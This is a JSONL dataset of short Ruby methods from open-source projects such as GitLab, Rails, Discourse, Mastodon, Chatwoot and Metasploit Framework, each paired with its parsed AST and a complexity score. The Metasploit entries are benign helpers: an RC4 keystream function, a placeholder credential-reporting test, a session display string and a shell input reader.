{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/invited_user_serializer.rb","start_line":6,"raw_source":"def id\n    object.invite.id\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"invite\"]},\"id\"]}]}","id":"72ddf358-dd52-40dd-a3c3-756029224a97"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/darkcomet_filedownloader.rb","start_line":94,"raw_source":"def rc4_keystream\n    @q1 = (@q1 + 1) % 256\n    @q2 = (@q2 + @s[@q1]) % 256\n    @s[@q1], @s[@q2] = @s[@q2], @s[@q1]\n    @s[(@s[@q1] + @s[@q2]) % 256]\n  end","complexity_score":20.9,"ast_json":"{\"type\":\"def\",\"children\":[\"rc4_keystream\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@q1\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@q1\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},\"%\",{\"type\":\"int\",\"children\":[256]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@q2\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@q2\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@s\"]},\"[]\",{\"type\":\"ivar\",\"children\":[\"@q1\"]}]}]}]},\"%\",{\"type\":\"int\",\"children\":[256]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@s\"]},\"[]=\",{\"type\":\"ivar\",\"children\":[\"@q1\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@s\"]},\"[]=\",{\"type\":\"ivar\",\"children\":[\"@q2\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@s\"]},\"[]\",{\"type\":\"ivar\",\"children\":[\"@q2\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@s\"]},\"[]\",{\"type\":\"ivar\",\"children\":[\"@q1\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@s\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@s\"]},\"[]\",{\"type\":\"ivar\",\"children\":[\"@q1\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@s\"]},\"[]\",{\"type\":\"ivar\",\"children\":[\"@q2\"]}]}]}]},\"%\",{\"type\":\"int\",\"children\":[256]}]}]}]}]}","id":"e255a5f1-52f4-4c4e-86b6-cb9fe4e6d02b"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/db/post_migrate/20230904134623_fix_kmr_locale_settings.rb","start_line":10,"raw_source":"def up\n    MigrationUser.reset_column_information\n\n    MigrationUser.where.not(settings: [nil, '{}']).find_each do |user|\n      user_settings = Oj.load(user.settings)\n      next unless user_settings['default_language'] == 'kmr'\n\n      user_settings['default_language'] = 'ku'\n      user.update!(settings: Oj.dump(user_settings))\n    end\n\n    MigrationUser.where.not(chosen_languages: nil).where('chosen_languages && ?', '{kmr}').find_each do |user|\n      user.update!(chosen_languages: user.chosen_languages.map { |lang| lang == 'kmr' ? 'ku' : lang }.uniq)\n    end\n  end","complexity_score":33.5,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MigrationUser\"]},\"reset_column_information\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MigrationUser\"]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"settings\"]},{\"type\":\"array\",\"children\":[{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"{}\"]}]}]}]}]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user_settings\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Oj\"]},\"load\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"settings\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_settings\"]},\"[]\",{\"type\":\"str\",\"children\":[\"default_language\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"kmr\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_settings\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"default_language\"]},{\"type\":\"str\",\"children\":[\"ku\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"settings\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Oj\"]},\"dump\",{\"type\":\"lvar\",\"children\":[\"user_settings\"]}]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MigrationUser\"]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"chosen_languages\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},\"where\",{\"type\":\"str\",\"children\":[\"chosen_languages && ?\"]},{\"type\":\"str\",\"children\":[\"{kmr}\"]}]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"chosen_languages\"]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"chosen_languages\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"lang\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lang\"]},\"==\",{\"type\":\"str\",\"children\":[\"kmr\"]}]},{\"type\":\"str\",\"children\":[\"ku\"]},{\"type\":\"lvar\",\"children\":[\"lang\"]}]}]},\"uniq\"]}]}]}]}]}]}]}","id":"ff069f2a-70ed-47eb-bc54-969398a474ae"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/test/modules/auxiliary/test/report_auth_info.rb","start_line":474,"raw_source":"def test_modicon_password_recovery\n    mod = framework.auxiliary.create('admin/scada/modicon_password_recovery')\n    mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_modicon_password_recovery\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mod\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"auxiliary\"]},\"create\",{\"type\":\"str\",\"children\":[\"admin/scada/modicon_password_recovery\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"report_cred\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ip\"]},{\"type\":\"const\",\"children\":[null,\"FAKE_IP\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"const\",\"children\":[null,\"FAKE_PORT\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"str\",\"children\":[\"http\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"const\",\"children\":[null,\"FAKE_USER\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"const\",\"children\":[null,\"FAKE_PASS\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"const\",\"children\":[null,\"FAKE_PROOF\"]}]}]}]}]}]}","id":"a99b9387-8d49-4c3c-9da4-aada38776ebc"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/session_compatibility.rb","start_line":100,"raw_source":"def session_display_info\n      \"Session: #{session.sid} (#{session.session_host})\"\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"session_display_info\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Session: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"sid\"]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"session_host\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}","id":"2c6b6289-4b2b-483b-b106-ef8e42b39934"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/mirror_authentication.rb","start_line":72,"raw_source":"def auth_method\n    auth_method = credentials.fetch(:auth_method, nil) if credentials.present?\n\n    auth_method.presence || 'password'\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"auth_method\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"credentials\"]},\"present?\"]},{\"type\":\"lvasgn\",\"children\":[\"auth_method\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"credentials\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"auth_method\"]},{\"type\":\"nil\",\"children\":[]}]}]},null]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth_method\"]},\"presence\"]},{\"type\":\"str\",\"children\":[\"password\"]}]}]}]}","id":"92f81dfd-8092-45c8-8b3f-82d57f790c02"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/frozen_string_literal_comment.rb","start_line":158,"raw_source":"def missing_offense(processed_source)\n          range = source_range(processed_source.buffer, 0, 0)\n\n          add_offense(range, message: MSG_MISSING) { |corrector| insert_comment(corrector) }\n        end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"missing_offense\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"processed_source\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"range\",{\"type\":\"send\",\"children\":[null,\"source_range\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"processed_source\"]},\"buffer\"]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"range\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"const\",\"children\":[null,\"MSG_MISSING\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"send\",\"children\":[null,\"insert_comment\",{\"type\":\"lvar\",\"children\":[\"corrector\"]}]}]}]}]}","id":"c9b0746f-905b-438b-902d-69ec3f079b63"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/secure_files/cer.rb","start_line":42,"raw_source":"def id\n          certificate_data.serial.to_s\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"certificate_data\"]},\"serial\"]},\"to_s\"]}]}","id":"ffa6b795-0c0b-40e4-9bba-45b2480b9f71"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-policy/lib/extensions/post_serializer_extension.rb","start_line":80,"raw_source":"def policy_accepted_by_count\n      post_policy.accepted_by.size\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"policy_accepted_by_count\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"post_policy\"]},\"accepted_by\"]},\"size\"]}]}","id":"039eee6c-e6e9-4c1d-b184-a6a6c703a644"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/migration_generator_test.rb","start_line":298,"raw_source":"def test_add_migration_with_references_options_when_primary_key_uuid\n    migration = \"add_references_to_books\"\n    run_generator [migration, \"author:belongs_to\", \"--primary_key_type=uuid\"]\n    assert_migration \"db/migrate/#{migration}.rb\" do |content|\n      assert_method :change, content do |change|\n        assert_match(/add_reference :books, :author,.*\\sforeign_key: true, type: :uuid/, change)\n      end\n    end\n  end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_add_migration_with_references_options_when_primary_key_uuid\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"migration\",{\"type\":\"str\",\"children\":[\"add_references_to_books\"]}]},{\"type\":\"send\",\"children\":[null,\"run_generator\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migration\"]},{\"type\":\"str\",\"children\":[\"author:belongs_to\"]},{\"type\":\"str\",\"children\":[\"--primary_key_type=uuid\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_migration\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"db/migrate/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migration\"]}]},{\"type\":\"str\",\"children\":[\".rb\"]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_method\",{\"type\":\"sym\",\"children\":[\"change\"]},{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"change\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"add_reference :books, :author,.*\\\\sforeign_key: true, type: :uuid\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"change\"]}]}]}]}]}]}","id":"0e77b4a1-3055-4acb-8d51-8c808a74e751"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/namespaces/archive_helper.rb","start_line":33,"raw_source":"def with_archived_ancestor_banner_message(namespace)\n      messages = {\n        group: _('The parent group is archived. This group and its data are %{strong_open}read-only%{strong_close}.'),\n        project: _(\n          'The parent group is archived. This project and its data are %{strong_open}read-only%{strong_close}.'\n        )\n      }\n\n      message = message_for_namespace(namespace, messages)\n      safe_format(message, tag_pair(tag.strong, :strong_open, :strong_close))\n    end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"with_archived_ancestor_banner_message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"namespace\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"messages\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"The parent group is archived. This group and its data are %{strong_open}read-only%{strong_close}.\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"The parent group is archived. This project and its data are %{strong_open}read-only%{strong_close}.\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[null,\"message_for_namespace\",{\"type\":\"lvar\",\"children\":[\"namespace\"]},{\"type\":\"lvar\",\"children\":[\"messages\"]}]}]},{\"type\":\"send\",\"children\":[null,\"safe_format\",{\"type\":\"lvar\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"tag_pair\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tag\"]},\"strong\"]},{\"type\":\"sym\",\"children\":[\"strong_open\"]},{\"type\":\"sym\",\"children\":[\"strong_close\"]}]}]}]}]}","id":"b9d281b2-29a8-417d-bbf6-38f87eebffed"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/helpers/asset_url_helper.rb","start_line":390,"raw_source":"def image_url(source, options = {})\n        url_to_asset(source, { type: :image }.merge!(options))\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"image_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"url_to_asset\",{\"type\":\"lvar\",\"children\":[\"source\"]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"image\"]}]}]},\"merge!\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"f0077949-7eef-4411-adb2-9c2dc4754e3b"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/sinatra-contrib/lib/sinatra/cookies.rb","start_line":256,"raw_source":"def shift\n        key, value = to_hash.shift\n        delete(key)\n        [key, value]\n      end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"shift\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\"]},{\"type\":\"lvasgn\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"to_hash\"]},\"shift\"]}]},{\"type\":\"send\",\"children\":[null,\"delete\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}","id":"bdb92e47-fda3-492b-93e5-acb33d163b37"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/accounts_controller.rb","start_line":62,"raw_source":"def ensure_account_name\n    # ensure that account_name and user_full_name is present\n    # this is becuase the account builder and the models validations are not triggered\n    # this change is to align the behaviour with the v2 accounts controller\n    # since these values are not required directly there\n    return if account_params[:account_name].present?\n    return if account_params[:user_full_name].present?\n\n    raise CustomExceptions::Account::InvalidParams.new({})\n  end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_account_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"account_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"account_name\"]}]},\"present?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"account_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_full_name\"]}]},\"present?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CustomExceptions\"]},\"Account\"]},\"InvalidParams\"]},\"new\",{\"type\":\"hash\",\"children\":[]}]}]}]}]}","id":"59a74daf-abe5-4279-9460-c028e77fbdc7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import/metrics.rb","start_line":12,"raw_source":"def initialize(importer, project)\n        @importer = importer\n        @project = project\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"importer\"]},{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@importer\",{\"type\":\"lvar\",\"children\":[\"importer\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"lvar\",\"children\":[\"project\"]}]}]}]}","id":"3e67099a-520b-434b-928c-547be8fdc97f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/ui/text/shell.rb","start_line":324,"raw_source":"def get_input_line\n    line = \"\\\\\\n\"\n    prompt_needs_reset = false\n\n    self.cont_flag = false\n    while line =~ /(^|[^\\\\])\\\\\\s*$/\n      # Strip \\ and all the trailing whitespace\n      line.sub!(/\\\\\\s*/, '')\n\n      if line.length > 0\n        # Using update_prompt will overwrite the primary prompt\n        input.prompt = output.update_prompt(self.cont_prompt)\n        self.cont_flag = true\n        prompt_needs_reset = true\n      end\n\n      output.input = input\n      str = input.pgets\n      if str\n        line << str\n      else\n        line = nil\n      end\n\n      output.input = nil\n      log_output(input.prompt)\n    end\n    self.cont_flag = false\n\n    if prompt_needs_reset\n      # The continuation prompt was used so reset the prompt\n      update_prompt\n    end\n\n    line\n  end","complexity_score":40.1,"ast_json":"{\"type\":\"def\",\"children\":[\"get_input_line\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"line\",{\"type\":\"str\",\"children\":[\"\\\\\\n\"]}]},{\"type\":\"lvasgn\",\"children\":[\"prompt_needs_reset\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"cont_flag=\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(^|[^\\\\\\\\])\\\\\\\\\\\\s*$\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"sub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\\\\\\\\\s*\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"input\"]},\"prompt=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"output\"]},\"update_prompt\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"cont_prompt\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"cont_flag=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"prompt_needs_reset\",{\"type\":\"true\",\"children\":[]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"output\"]},\"input=\",{\"type\":\"send\",\"children\":[null,\"input\"]}]},{\"type\":\"lvasgn\",\"children\":[\"str\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"input\"]},\"pgets\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"str\"]}]},{\"type\":\"lvasgn\",\"children\":[\"line\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"output\"]},\"input=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"log_output\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"input\"]},\"prompt\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"cont_flag=\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prompt_needs_reset\"]},{\"type\":\"send\",\"children\":[null,\"update_prompt\"]},null]},{\"type\":\"lvar\",\"children\":[\"line\"]}]}]}","id":"51bc05a2-9286-4d91-90d6-1c60eeb69bb8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250718042541_add_sharding_key_indexes_to_clusters.rb","start_line":13,"raw_source":"def down\n    remove_concurrent_index :clusters, :project_id, name: 'index_clusters_on_project_id'\n    remove_concurrent_index :clusters, :group_id, name: 'index_clusters_on_group_id'\n    remove_concurrent_index :clusters, :organization_id, name: 'index_clusters_on_organization_id'\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_concurrent_index\",{\"type\":\"sym\",\"children\":[\"clusters\"]},{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_clusters_on_project_id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_concurrent_index\",{\"type\":\"sym\",\"children\":[\"clusters\"]},{\"type\":\"sym\",\"children\":[\"group_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_clusters_on_group_id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_concurrent_index\",{\"type\":\"sym\",\"children\":[\"clusters\"]},{\"type\":\"sym\",\"children\":[\"organization_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_clusters_on_organization_id\"]}]}]}]}]}]}","id":"5cb4fd1f-5ae4-443d-bb14-413b56a93ca9"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/telegram/update_message_service.rb","start_line":41,"raw_source":"def transform_business_message!\n    params[:edited_message] = params[:edited_business_message] if params[:edited_business_message].present?\n  end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"transform_business_message!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"edited_business_message\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"edited_message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"edited_business_message\"]}]}]},null]}]}","id":"2a64bc1b-2bfb-4606-94e5-47148b670ba5"}
